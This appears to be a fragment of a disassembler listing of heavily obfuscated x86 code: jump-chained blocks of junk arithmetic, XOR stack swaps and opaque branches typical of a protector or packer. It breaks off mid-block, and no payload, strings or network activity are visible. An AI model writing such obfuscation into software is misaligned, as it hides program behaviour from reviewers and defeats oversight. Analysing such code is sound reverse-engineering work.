		add	eax, 164E14E8h
		mov	ebx, [esp+4Ah+var_4C+2]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_59CF19
; ---------------------------------------------------------------------------


loc_5B000F:				; CODE XREF: sub_58A891+213F7j
		mov	ecx, 62331248h
		shl	ecx, 1
		shr	ecx, 5
		push	ebx
		mov	ebx, 660B63D0h
		sub	ebx, 1BD923B8h
		xor	ebx, 1EFA121Dh
		neg	ebx
		sub	esp, 4
		jmp	loc_5A4B18
; ---------------------------------------------------------------------------


loc_5B0038:				; CODE XREF: sub_58A891+12E95j
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp+1Eh+var_20+2]
		xor	[esp+1Eh+var_20+2], ebx
		xor	ebx, [esp+1Eh+var_20+2]
		pop	esp
		mov	[esp+1Ah+var_1C+2], edx
		push	esp
		pop	edx
		push	325Eh
		mov	[esp+1Eh+var_20+2], ebx
		jmp	loc_5A08E2
; ---------------------------------------------------------------------------


loc_5B0060:				; CODE XREF: sub_58A891+16A5Cj
		push	edx
		mov	edx, 0FFFFFFFFh
		add	ebp, edx
		jmp	loc_5A40F3
; ---------------------------------------------------------------------------


loc_5B006D:				; CODE XREF: sub_58A891+1ED35j
		pop	edx
		xor	edi, 440D7873h
		add	edi, 14286AB9h
		xchg	ecx, edi
		inc	ecx
		xchg	ecx, edi
		add	edi, 7B66EF7Ah
		add	eax, edi
		pop	edi
		jmp	loc_5ACE77
; ---------------------------------------------------------------------------


loc_5B008D:				; CODE XREF: sub_58A891+15330j
		sub	ebx, 304B5AE4h
		add	ebx, 0BCF365Fh
		sub	ebx, edi
		sub	ebx, 0BCF365Fh
		jmp	loc_5A9884
; ---------------------------------------------------------------------------


loc_5B00A6:				; CODE XREF: sub_58A891+25F2Fj
					; sub_58A891+26BD6j
		add	esp, 4
		jmp	loc_59E34F
; ---------------------------------------------------------------------------


loc_5B00B1:				; CODE XREF: sub_58A891+27A96j
		add	esi, 44797A3Ch
		neg	esi
		jmp	loc_5A3246
; ---------------------------------------------------------------------------


loc_5B00BE:				; CODE XREF: sub_58A891+243C4j
		mov	[esp+72h+var_74+2], edx
		mov	edx, 6B1E20DAh
		push	ebx
		mov	ebx, 75AD03B9h
		or	edx, ebx
		pop	ebx
		shr	edx, 4
		sub	edx, 2E282CEAh
		push	ecx
		push	edx
		jmp	loc_5A3357
; ---------------------------------------------------------------------------


loc_5B00DF:				; CODE XREF: sub_58A891+164A7j
		pop	dx
		push	ecx
		mov	cl, dh
		mov	bl, cl
		pop	ecx
		jmp	loc_5A31E9
; ---------------------------------------------------------------------------


loc_5B00EC:				; CODE XREF: sub_58A891+18679j
		add	esp, 4
		shl	edx, 1
		jz	loc_5ABC49
		jmp	loc_59D397
; ---------------------------------------------------------------------------


loc_5B00FF:				; CODE XREF: sub_58A891+1BDB2j
		pop	ebx
		sub	ebx, esi
		pop	esi
		jmp	loc_5A7E09
; ---------------------------------------------------------------------------


loc_5B0108:				; CODE XREF: sub_58A891+1FE81j
		xor	eax, [esp+0C8h+var_CA+2]
		mov	esp, [esp+0C8h+var_CA+2]
		mov	[esp+0C8h+var_CA+2], ecx
		sub	esp, 4
		mov	[esp+0CCh+var_CE+2], esp
		add	[esp+0CCh+var_CE+2], 4
		push	[esp+0CCh+var_CE+2]
		pop	ecx
		jmp	loc_59D577
; ---------------------------------------------------------------------------


loc_5B0124:				; CODE XREF: sub_58A891+23EBEj
		sub	esi, 4
		xchg	esi, [esp+2Eh+var_30+2]
		jmp	loc_5A6014
; ---------------------------------------------------------------------------


loc_5B012F:				; CODE XREF: sub_58A891+1E435j
		shl	eax, 8
		push	ebp
		jmp	loc_5ACFD1
; ---------------------------------------------------------------------------


loc_5B0138:				; CODE XREF: sub_58A891+19986j
		push	[esp+16h+var_18+2]
		mov	ecx, [esp+1Ah+var_1C+2]
		add	esp, 4
		jmp	loc_5A61ED
; ---------------------------------------------------------------------------


loc_5B0146:				; CODE XREF: sub_58A891+1DBA6j
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xor	ebp, [esp+52h+var_54+2]
		xor	[esp+52h+var_54+2], ebp
		xor	ebp, [esp+52h+var_54+2]
		pop	esp
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B0160:				; CODE XREF: sub_58A891+21384j
		push	eax
		jmp	loc_5AE652
; ---------------------------------------------------------------------------


loc_5B0166:				; CODE XREF: sub_58A891+1E9E5j
		mov	[esp+0A6h+var_A6], edi
		mov	edi, 101B3B6Bh
		mov	ecx, 7DDD443h
		add	ecx, 7F104DE1h
		add	ecx, edi
		jmp	loc_59E924
; ---------------------------------------------------------------------------


loc_5B0180:				; CODE XREF: sub_58A891+219B0j
		mov	[esp+0A2h+var_A2], esi
		push	[esp+0A2h+var_9E]
		jmp	loc_5A76E6
; ---------------------------------------------------------------------------


loc_5B018C:				; CODE XREF: sub_58A891+25C1Aj
		add	ebp, edx
		pop	edx
		xor	ebp, [esp+0A2h+var_A2]
		xor	[esp+0A2h+var_A2], ebp
		xor	ebp, [esp+0A2h+var_A2]
		mov	esp, [esp+0A2h+var_A2]
		push	ecx
		push	ebx
		mov	ebx, 4E4C1E00h
		mov	ecx, ebx
		pop	ebx
		jmp	loc_5AD871
; ---------------------------------------------------------------------------


loc_5B01AA:				; CODE XREF: sub_58A891+18CB2j
		sub	ah, 9Fh
		jmp	loc_5B15AA
; ---------------------------------------------------------------------------


loc_5B01B2:				; CODE XREF: sub_58A891+1B2D7j
		pop	ebp
		jmp	loc_59CEAE
; ---------------------------------------------------------------------------


loc_5B01B8:				; CODE XREF: sub_58A891+172EDj
		sub	ecx, 21B85C80h
		sub	ecx, 71581632h
		push	edi
		jmp	loc_5A6319
; ---------------------------------------------------------------------------


loc_5B01CA:				; CODE XREF: sub_58A891:loc_5A9536j
		dec	ch
		sub	ch, 0E5h
		jno	loc_5A4B18
		push	bx
		mov	bl, 78h
		jmp	loc_5AB4A8
; ---------------------------------------------------------------------------


loc_5B01DE:				; CODE XREF: sub_58A891+1F713j
		push	eax
		jmp	loc_59F304
; ---------------------------------------------------------------------------


loc_5B01E4:				; CODE XREF: sub_58A891+154B5j
		add	[esp+0AEh+var_AE], 2034160Dh
		jmp	loc_5B1C10
; ---------------------------------------------------------------------------


loc_5B01F0:				; CODE XREF: sub_58A891+1B4EBj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+1Ch+var_1C]
		pop	esp
		mov	[esp+18h+var_18], ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5B2F05
; ---------------------------------------------------------------------------


loc_5B0214:				; CODE XREF: sub_58A891+13853j
		add	[esp+0B6h+var_B2], 3312FAAh
		add	[esp+0B6h+var_B2], ebx
		sub	[esp+0B6h+var_B2], 3312FAAh
		sub	[esp+0B6h+var_B2], 421870B8h
		push	ebx
		mov	ebx, 5CD1622Bh
		sub	[esp+0BAh+var_B2], ebx
		pop	ebx
		pop	ebx
		jmp	loc_5AC9E5
; ---------------------------------------------------------------------------


loc_5B0241:				; CODE XREF: sub_58A891:loc_59F3CDj
		jmp	loc_5B1EE5
; ---------------------------------------------------------------------------


loc_5B0246:				; CODE XREF: sub_58A891+281ACj
		pop	ebx
		push	51E2h
		mov	[esp+72h+var_74+2], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+72h+var_74+2]
		pop	esp
		jmp	loc_5A30A5
; ---------------------------------------------------------------------------


loc_5B0266:				; CODE XREF: sub_58A891+26259j
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edx
		push	ebp
		mov	ebp, 3B5140CCh
		shr	ebp, 5
		and	ebp, 74BD296Ch
		jmp	loc_59DA72
; ---------------------------------------------------------------------------


loc_5B0283:				; CODE XREF: sub_58A891+22C00j
		push	eax
		mov	eax, 0D597FA9h
		jmp	loc_5B2AD5
; ---------------------------------------------------------------------------


loc_5B028E:				; CODE XREF: sub_58A891+276A6j
		add	esp, 4
		add	edx, 4
		push	69ABh
		jmp	loc_5AEA2B
; ---------------------------------------------------------------------------


loc_5B02A1:				; CODE XREF: sub_58A891+12D63j
		pop	esi
		sub	ebx, edi
		pop	edi
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_5A9B48
		push	ebx
		push	269Bh
		mov	[esp+22h+var_24+2], edi
		jmp	loc_59E2E8
; ---------------------------------------------------------------------------


loc_5B02BE:				; CODE XREF: sub_58A891+13F12j
		pop	ebx
		sub	al, bl
		add	al, 83h
		add	al, 74h
		push	edx
		mov	dh, 90h
		add	al, dh
		pop	edx
		jmp	loc_59F39F
; ---------------------------------------------------------------------------


loc_5B02D0:				; CODE XREF: sub_58A891+22C5Ej
		add	esp, 4
		jmp	loc_59D8E9
; ---------------------------------------------------------------------------


loc_5B02D8:				; CODE XREF: sub_58A891+24CD2j
		mov	[esp+0], edx
		mov	dh, 0E2h
		jmp	loc_5B0E59
; ---------------------------------------------------------------------------


loc_5B02E2:				; CODE XREF: sub_58A891+2438Cj
		add	eax, 6F0125D3h
		sub	eax, edx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_5B279F
; ---------------------------------------------------------------------------


loc_5B02FD:				; CODE XREF: sub_58A891+24349j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5A6394
; ---------------------------------------------------------------------------


loc_5B0310:				; CODE XREF: sub_58A891+262B7j
		pop	ebp
		add	esp, 4
		jmp	loc_5A13B7
; ---------------------------------------------------------------------------


loc_5B031C:				; CODE XREF: sub_58A891+1DFB0j
		push	ebp
		mov	ebp, 4A940E15h
		shr	ebp, 2
		neg	ebp
		shr	ebp, 7
		push	ebx
		mov	ebx, 44B477CEh
		add	ebp, ebx
		jmp	loc_5A7EB7
; ---------------------------------------------------------------------------


loc_5B0337:				; CODE XREF: sub_58A891+1CEF6j
		add	esp, 4
		jmp	loc_5A8403
; ---------------------------------------------------------------------------


loc_5B033F:				; CODE XREF: sub_58A891+282DCj
		add	edx, ebx
		pop	ebx
		xor	edx, [esp+0D0h+var_D2+2]
		xor	[esp+0D0h+var_D2+2], edx
		jmp	loc_59F434
; ---------------------------------------------------------------------------


loc_5B034D:				; CODE XREF: sub_58A891+1593Bj
		push	1B97h
		mov	[esp+1Eh+var_20+2], ebx
		sub	esp, 4
		mov	[esp+22h+var_24+2], esp
		add	[esp+22h+var_24+2], 4
		mov	ebx, [esp+22h+var_24+2]
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+1Eh+var_20+2]
		xor	[esp+1Eh+var_20+2], ebx
		xor	ebx, [esp+1Eh+var_20+2]
		mov	esp, [esp+1Eh+var_20+2]
		or	eax, eax
		jz	loc_5A3AC4
		push	5080h
		mov	[esp+22h+var_24+2], eax
		push	ebx
		push	5D6E0548h
		pop	ebx
		shr	ebx, 1
		jp	loc_5A98E9
		xor	ebx, 63CA69CCh
		jns	loc_5B0B24
		add	ebx, 135A8A8h
		jmp	loc_5A25C0
; ---------------------------------------------------------------------------
		db 89h,	0D2h
; ---------------------------------------------------------------------------
		mov	dh, ch


loc_5B03C0:				; CODE XREF: sub_58A891+1381Bj
		dec	ecx
		or	ecx, 12CD5423h
		sub	ecx, 425F1741h
		xor	ecx, 59700451h
		jmp	loc_5B0C77
; ---------------------------------------------------------------------------


loc_5B03D8:				; CODE XREF: sub_58A891+1CDB5j
		shl	ch, 7
		xor	ch, 89h
		and	dl, ch
		jmp	loc_5AFAAE
; ---------------------------------------------------------------------------


loc_5B03E5:				; CODE XREF: sub_58A891:loc_59C1ACj
					; sub_58A891+22497j
		pop	ebp
		jmp	loc_5B23A1
; ---------------------------------------------------------------------------


loc_5B03EB:				; CODE XREF: sub_58A891+14827j
		add	esi, 0C42D5E72h
		jmp	loc_5AD4BD
; ---------------------------------------------------------------------------


loc_5B03F6:				; CODE XREF: sub_58A891+16B6Aj
		push	esp
		jmp	loc_59CF3E
; ---------------------------------------------------------------------------


loc_5B03FC:				; CODE XREF: sub_58A891+1C1C8j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0AEh+var_AE]
		pop	esp
		push	edi
		push	515Dh
		jmp	loc_5A0509
; ---------------------------------------------------------------------------


loc_5B0414:				; CODE XREF: sub_58A891+22959j
		mov	esi, [esp+0]
		jmp	loc_59D41F
; ---------------------------------------------------------------------------


loc_5B041C:				; CODE XREF: sub_58A891+1640Dj
		push	[esp+4Ah+var_4C+2]
		pop	edi
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		jmp	loc_5ABB78
; ---------------------------------------------------------------------------


loc_5B0433:				; CODE XREF: sub_58A891+1D781j
		mov	esp, [esp+5Eh+var_60+2]
		xor	dh, bh
		jmp	loc_5AE6EA
; ---------------------------------------------------------------------------


loc_5B043D:				; CODE XREF: sub_58A891+279BAj
		add	ebx, 5401E2Ah
		sub	ebx, edi
		sub	ebx, 5401E2Ah
		pop	edi


loc_5B044C:				; CODE XREF: sub_58A891+1C685j
		push	97Dh
		jmp	loc_5A4C70
; ---------------------------------------------------------------------------


loc_5B0456:				; CODE XREF: sub_58A891+27602j
		push	13282148h
		jmp	loc_5B224A
; ---------------------------------------------------------------------------


loc_5B0460:				; CODE XREF: sub_58A891+12667j
		neg	edi
		sub	edi, 9DC899E7h
		add	ebp, 7C6752A8h
		add	ebp, edi
		sub	ebp, 7C6752A8h
		mov	edi, [esp+0AAh+var_AA]
		jmp	loc_5AE27B
; ---------------------------------------------------------------------------


loc_5B047E:				; CODE XREF: sub_58A891+17E03j
		pop	ebp
		add	ebp, 4
		jmp	loc_59C17B
; ---------------------------------------------------------------------------


loc_5B048A:				; CODE XREF: sub_58A891+1F355j
		mov	eax, 0
		add	eax, 5D6F1258h
		add	eax, ebx
		jmp	loc_5AF97B
; ---------------------------------------------------------------------------


loc_5B049B:				; CODE XREF: sub_58A891+2422Bj
		mov	eax, 53F97DEDh
		jmp	loc_5A37BC
; ---------------------------------------------------------------------------


loc_5B04A5:				; CODE XREF: sub_58A891+1CF68j
		sub	edx, 174B0E3Ch
		jmp	loc_5B018C
; ---------------------------------------------------------------------------


loc_5B04B0:				; CODE XREF: sub_58A891+25606j
		xchg	ecx, [esp+22h+var_24+2]
		pop	esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp+22h+var_24+2], edi
		mov	edi, 239712B4h
		inc	edi
		add	edi, 0DC68ED4Fh
		add	ebp, 675100FAh
		jmp	loc_5A9992
; ---------------------------------------------------------------------------


loc_5B04DA:				; CODE XREF: sub_58A891+23A28j
		shr	esi, 1
		jmp	loc_59F5B6
; ---------------------------------------------------------------------------


loc_5B04E1:				; CODE XREF: sub_58A891+21FC4j
		mov	[esp+0DAh+var_DA], ebp
		push	ecx
		mov	ecx, 18815EA2h
		mov	ebp, 18815EA6h
		jmp	loc_5B24BA
; ---------------------------------------------------------------------------


loc_5B04F4:				; CODE XREF: sub_58A891+1BFE2j
		sub	esp, 4
		jmp	loc_5A6945
; ---------------------------------------------------------------------------


loc_5B04FC:				; CODE XREF: sub_58A891+181A0j
		push	esi
		push	5BEA3046h
		pop	esi
		jmp	loc_5B0513
; ---------------------------------------------------------------------------


loc_5B0508:				; CODE XREF: sub_58A891+1F376j
		push	67D508C3h
		pop	esi
		jmp	loc_5AECEE
; ---------------------------------------------------------------------------


loc_5B0513:				; CODE XREF: sub_58A891+25C72j
		dec	esi
		add	esi, 0A415CFBFh
		mov	edi, esi
		pop	esi
		sub	esi, edi
		jmp	loc_59D300
; ---------------------------------------------------------------------------


loc_5B0524:				; CODE XREF: sub_58A891+2693Aj
		mov	edi, 4
		add	ebx, edi
		pop	edi
		jmp	loc_5A9CB8
; ---------------------------------------------------------------------------


loc_5B0531:				; CODE XREF: sub_58A891:loc_5A0E54j
					; sub_58A891+1DA77j
		pop	bx
		add	ah, bh
		sub	ah, 0BFh
		mov	ebx, [esp+54h+var_54]
		add	esp, 4
		push	cx
		mov	ch, 79h
		not	ch
		inc	ch
		jle	loc_59EAB1
		add	ch, 9Ah
		jb	loc_5A7A2A
		mov	bl, ah


loc_5B055A:				; CODE XREF: sub_58A891+1A2C0j
		add	edx, 7E1650EDh
		push	ebp
		mov	ebp, 48EA1856h
		sub	edx, 3B656366h
		add	edx, ebp
		add	edx, 3B656366h
		jmp	loc_5A3309
; ---------------------------------------------------------------------------


loc_5B0579:				; CODE XREF: sub_58A891+27C95j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+56h+var_58+2]
		pop	esp
		mov	[esp+52h+var_54+2], esi
		push	57864035h
		mov	esi, [esp+56h+var_58+2]
		push	edi
		jmp	loc_59D86F
; ---------------------------------------------------------------------------


loc_5B0599:				; CODE XREF: sub_58A891+11BB1j
		pop	ecx
		add	esp, 4
		add	[esp+0Ah+var_8+2], ebp
		mov	ebp, [esp+0Ah+var_C+2]
		add	esp, 4
		mov	edi, [esp+6+var_8+2]
		add	esp, 4
		push	eax
		mov	eax, 4
		push	eax
		jmp	loc_5A8017
; ---------------------------------------------------------------------------


loc_5B05BF:				; CODE XREF: sub_58A891+14FC9j
		pop	esp
		sub	esp, 4
		mov	[esp+46h+var_48+2], ecx
		push	ebx
		push	ecx
		push	53F81946h
		jmp	loc_5A218D
; ---------------------------------------------------------------------------


loc_5B05D2:				; CODE XREF: sub_58A891+1AAF1j
		pop	bp
		add	di, 4155h
		sub	di, 5464h
		add	ax, 78B9h
		sub	ax, di
		sub	ax, 78B9h
		pop	edi
		jmp	loc_59CAF3
; ---------------------------------------------------------------------------


loc_5B05EF:				; CODE XREF: sub_58A891+18C59j
		mov	al, 76h
		and	al, 55h
		jb	loc_5AB31E
		xor	al, 2Ch
		jo	loc_5ADFCE
		inc	al
		jge	loc_59DB31
		push	ecx
		mov	ch, 0DEh
		jmp	loc_5A19E9
; ---------------------------------------------------------------------------
		push	ebx
		mov	bl, 0B2h
		mov	al, al


loc_5B0616:				; CODE XREF: sub_58A891+2834Fj
		add	esp, 4
		push	[esp+2Ah+var_2C+2]
		jmp	loc_5B1364
; ---------------------------------------------------------------------------


loc_5B0624:				; CODE XREF: sub_58A891+165E2j
		push	eax
		mov	eax, 0E76D2504h
		xor	esi, eax
		jmp	loc_5B164F
; ---------------------------------------------------------------------------


loc_5B0631:				; CODE XREF: sub_58A891+1DCBDj
		shl	edx, 4
		jmp	loc_5A370F
; ---------------------------------------------------------------------------


loc_5B0639:				; CODE XREF: sub_58A891+1969Bj
					; sub_58A891+24B16j
		sub	ecx, edi
		jmp	loc_5A84D0
; ---------------------------------------------------------------------------


loc_5B0640:				; CODE XREF: sub_58A891+17B61j
					; sub_58A891+18F47j
		and	eax, ecx
		push	[esp+0CCh+var_CE+2]
		pop	ecx
		add	esp, 4
		or	edx, eax
		jmp	loc_5A8EF6
; ---------------------------------------------------------------------------


loc_5B0650:				; CODE XREF: sub_58A891+1DD93j
		mov	edx, 292D7239h
		add	ebp, 75347D9Eh
		sub	ebp, edx
		sub	ebp, 75347D9Eh
		mov	edx, [esp+26h+var_28+2]
		add	esp, 4
		pop	edx
		push	ebp
		jmp	loc_5A5BBA
; ---------------------------------------------------------------------------


loc_5B0673:				; CODE XREF: sub_58A891+1FC66j
					; sub_58A891+22266j
		push	ebp
		jmp	loc_59E211
; ---------------------------------------------------------------------------


loc_5B0679:				; CODE XREF: sub_58A891:loc_5A0FE9j
		xor	esi, 7B423916h
		jg	loc_5A6F60
		sub	esi, 3014F92h
		jmp	loc_5B2F49
; ---------------------------------------------------------------------------


loc_5B0690:				; CODE XREF: sub_58A891+1F412j
		mov	ecx, 22D222A8h
		jmp	loc_5AF576
; ---------------------------------------------------------------------------


loc_5B069A:				; CODE XREF: sub_58A891+1B46Fj
		push	esp
		pop	ecx
		push	edi
		mov	edi, 4
		push	edx
		jmp	loc_5A40E1
; ---------------------------------------------------------------------------


loc_5B06A8:				; CODE XREF: sub_58A891+1CCD1j
		push	ebp
		push	[esp+0Eh+var_C+2]
		mov	ebp, [esp+12h+var_14+2]
		add	esp, 4
		pop	[esp+0Eh+var_10+2]
		mov	esp, [esp+0Ah+var_C+2]
		mov	[esp+0Ah+var_C+2], ebp
		push	5A0Bh
		mov	[esp+0Eh+var_10+2], ecx
		push	[esp+0Eh+var_10+2]
		mov	ebp, [esp+12h+var_14+2]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+12h+var_14+2]
		jmp	loc_5A8CD9
; ---------------------------------------------------------------------------


loc_5B06EA:				; CODE XREF: sub_58A891+20B2Cj
					; sub_58A891+2262Dj
		mov	[esp+0B6h+var_B6], edi
		mov	edi, 4
		add	ebp, edi
		mov	edi, [esp+0B6h+var_B6]
		add	esp, 4
		xchg	ebp, [esp+0B2h+var_B2]
		mov	esp, [esp+0B2h+var_B2]
		jmp	loc_5A501F
; ---------------------------------------------------------------------------


loc_5B0708:				; CODE XREF: sub_58A891+1EE04j
		xor	edx, 386570B2h
		jmp	loc_5AF208
; ---------------------------------------------------------------------------


loc_5B0713:				; CODE XREF: sub_58A891+2603Dj
		mov	ebx, 64396A7Ch
		jmp	loc_5ADD08
; ---------------------------------------------------------------------------


loc_5B071D:				; CODE XREF: sub_58A891+1D69Cj
		add	esi, 1EA832F1h
		add	esi, ecx
		sub	esi, 1EA832F1h
		mov	ecx, [esp+0B2h+var_B2]
		push	28E1h
		mov	[esp+0B6h+var_B6], ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 4
		jmp	loc_5AFC66
; ---------------------------------------------------------------------------


loc_5B0749:				; CODE XREF: sub_58A891+1E7E0j
		or	esi, 33564D08h
		jo	loc_5A7764
		sub	esp, 4
		mov	[esp+0AAh+var_AA], ebx
		mov	ebx, 3915741Bh
		push	9CBh
		mov	[esp+0AEh+var_AE], ebx
		not	[esp+0AEh+var_AE]
		pop	ebx
		jmp	loc_5A6221
; ---------------------------------------------------------------------------


loc_5B0774:				; CODE XREF: sub_58A891+1298Bj
		pop	esp
		or	[edi+1Ch], ebx
		pop	ebx
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B077E:				; CODE XREF: sub_58A891+1EE23j
		neg	esi
		xchg	esi, ecx
		jmp	loc_59D18F
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0B6h+var_B6]
		push	ebp
		sub	esp, 4
		push	esp
		pop	[esp+0C2h+var_C2]
		add	[esp+0BEh+var_BE], 4
		pop	ebp
		push	esi
		mov	esi, 731F09F4h
		sub	esp, 4
		jmp	loc_5A45C2
; ---------------------------------------------------------------------------


loc_5B07A9:				; CODE XREF: sub_58A891+1F166j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0B2h+var_B2]
		jmp	loc_5AFD50
; ---------------------------------------------------------------------------


loc_5B07BD:				; CODE XREF: sub_58A891:loc_5A0E10j
		shl	edi, 4
		jnp	loc_5B00A6
		inc	edi
		jge	loc_59F3CD
		jmp	loc_5A7D33
; ---------------------------------------------------------------------------
		mov	[esp+54h+var_54], edx
		mov	cl, ah
		pop	esp


loc_5B07D8:				; CODE XREF: sub_58A891+1BD73j
		xor	ecx, 4D04671Bh
		jmp	loc_5A5A04
; ---------------------------------------------------------------------------


loc_5B07E3:				; CODE XREF: sub_58A891+2721Dj
		add	ecx, 4
		jmp	loc_5A7D01
; ---------------------------------------------------------------------------


loc_5B07EE:				; CODE XREF: sub_58A891+11791j
					; sub_58A891+172BDj ...
		add	eax, 3FBB157Eh
		sub	eax, edx
		sub	eax, 3FBB157Eh
		pop	edx
		sub	esp, 4
		mov	[esp+32h+var_34+2], edx
		mov	edx, 154A42F8h
		sub	edx, 464D2A61h
		shr	edx, 6
		sub	edx, 9523D108h
		add	ebx, edx
		mov	edx, [esp+32h+var_34+2]
		push	eax
		jmp	loc_5A319C
; ---------------------------------------------------------------------------


loc_5B0820:				; CODE XREF: sub_58A891+1F3C8j
		push	edi
		mov	edi, 4
		add	ecx, edi
		mov	edi, [esp+7Eh+var_80+2]
		add	esp, 4
		jmp	loc_5A6292
; ---------------------------------------------------------------------------


loc_5B0836:				; CODE XREF: sub_58A891+211CEj
		mov	[esp+0A8h+var_AA+2], esp
		add	[esp+0A8h+var_AA+2], 4
		pop	eax
		add	eax, 4
		sub	esp, 4
		jmp	loc_5A039A
; ---------------------------------------------------------------------------


loc_5B084E:				; CODE XREF: sub_58A891+28035j
		push	[esp+0A8h+var_A6+2]
		mov	esi, [esp+0ACh+var_AE+2]
		push	eax
		jmp	loc_59F365
; ---------------------------------------------------------------------------


loc_5B085B:				; CODE XREF: sub_58A891+1404Bj
					; sub_58A891+15608j
		sub	esp, 4
		mov	[esp+0B4h+var_B6+2], edx
		jmp	loc_59D515
; ---------------------------------------------------------------------------


loc_5B0869:				; CODE XREF: sub_58A891+1B95Fj
		add	esp, 4
		push	919h
		mov	[esp+0A4h+var_A6+2], edx
		sub	esp, 4
		mov	[esp+0A8h+var_AA+2], ecx
		mov	cl, 7Fh
		push	ebx
		mov	ebx, esp
		push	6CE8h
		mov	[esp+0B0h+var_B2+2], esi
		jmp	loc_5A054A
; ---------------------------------------------------------------------------


loc_5B088C:				; CODE XREF: sub_58A891+190D2j
		add	[esp+22h+var_20+2], 715E0F80h
		add	[esp+22h+var_20+2], 35AC6FD8h
		jmp	loc_59CCDF
; ---------------------------------------------------------------------------


loc_5B08A1:				; CODE XREF: sub_58A891+22966j
					; sub_58A891+2741Bj
		xor	ebx, edx
		pop	edx
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp+0A4h+var_A6+2]
		mov	esp, [esp+0A4h+var_A6+2]
		shl	[esp+0A4h+var_A6+2], cl
		pushf
		jmp	loc_5A796C
; ---------------------------------------------------------------------------


loc_5B08B6:				; CODE XREF: sub_58A891+24C74j
		mov	[esp+0B4h+var_B6+2], eax
		mov	eax, 159C5C6Bh
		jmp	loc_5AF21D
; ---------------------------------------------------------------------------


loc_5B08C3:				; CODE XREF: sub_58A891+1D3EAj
		add	esp, 4
		sub	ecx, edx
		pop	edx
		push	esi
		push	ebx
		jmp	loc_5B0713
; ---------------------------------------------------------------------------


loc_5B08D3:				; CODE XREF: sub_58A891+13198j
					; sub_58A891+1C8CAj
		jno	loc_5A6609
		inc	bl
		jmp	loc_5B0C43
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	esi, ebp


loc_5B08E5:				; CODE XREF: sub_58A891+27331j
		mov	esi, [esp+9Eh+var_9E]
		add	esp, 4
		add	edi, ebx
		pop	ebx
		add	edi, 2
		jmp	loc_5AF135
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+96h+var_98+2]
		push	2C6h
		jmp	loc_5AC08C
; ---------------------------------------------------------------------------
		sub	esp, 4
		push	esp
		pop	[esp+0A2h+var_A2]
		push	ebx
		push	ebp
		push	edx
		mov	edx, 4ED23D5Fh
		push	edx
		pop	ebp
		mov	edx, [esp+0AAh+var_AA]
		push	eax
		mov	eax, esp
		push	edx
		jmp	loc_59D6C0
; ---------------------------------------------------------------------------


loc_5B0924:				; CODE XREF: sub_58A891+19D19j
		mov	ebp, [esp+64h+var_64]
		add	esp, 4
		push	edi
		mov	edi, 1
		add	ebx, edi
		jmp	loc_5AD3D7
; ---------------------------------------------------------------------------


loc_5B0937:				; CODE XREF: sub_58A891+181D0j
					; sub_58A891:loc_5A454Aj
		sub	eax, 4
		xor	eax, [esp+2Eh+var_30+2]
		xor	[esp+2Eh+var_30+2], eax
		xor	eax, [esp+2Eh+var_30+2]
		pop	esp
		mov	[esp+2Ah+var_2C+2], ebx
		push	[esp+2Ah+var_28+2]
		jmp	loc_5A2882
; ---------------------------------------------------------------------------


loc_5B0952:				; CODE XREF: sub_58A891+23D78j
		inc	edx
		jns	loc_5AD5F5
		shl	edx, 6
		jnp	loc_5AF3F5
		mov	cl, ah
		push	ebx


loc_5B0965:				; CODE XREF: sub_58A891:loc_59C0E8j
		shl	ebp, 6
		jmp	loc_5B15BB
; ---------------------------------------------------------------------------


loc_5B096D:				; CODE XREF: sub_58A891+12449j
		xchg	ebx, [esp+9Eh+var_9E]
		pop	esp


loc_5B0971:				; CODE XREF: sub_58A891+1B41Dj
		sub	esp, 4
		mov	[esp+9Eh+var_9E], ebx
		mov	ebx, esp
		push	eax
		mov	eax, esp
		jmp	loc_5A51CF
; ---------------------------------------------------------------------------


loc_5B0984:				; CODE XREF: sub_58A891+14567j
		mov	eax, 0BDB38DCh
		dec	eax
		jmp	loc_5A9BCC
; ---------------------------------------------------------------------------


loc_5B098F:				; CODE XREF: sub_58A891+1880Fj
		mov	eax, 612F7950h
		jmp	loc_5A186E
; ---------------------------------------------------------------------------


loc_5B0999:				; CODE XREF: sub_58A891+1BDA5j
		add	esp, 4
		jmp	loc_5A4EE1
; ---------------------------------------------------------------------------


loc_5B09A4:				; CODE XREF: sub_58A891+28069j
		xor	ebx, 2C2D6E8Bh
		jmp	loc_5A4263
; ---------------------------------------------------------------------------


loc_5B09AF:				; CODE XREF: sub_58A891+23835j
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	ecx, 0C926C5Eh
		add	ecx, ebp
		jmp	loc_5AC2DA
; ---------------------------------------------------------------------------


loc_5B09C8:				; CODE XREF: sub_58A891+1F449j
		add	ecx, 4
		xchg	ecx, [esp+0]
		mov	esp, [esp+0]
		shr	eax, 0Ah
		xor	eax, ecx
		push	edi
		jmp	loc_5A72B7
; ---------------------------------------------------------------------------


loc_5B09DF:				; CODE XREF: sub_58A891+12919j
		push	edx
		mov	eax, [esp+0AAh+var_AA]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
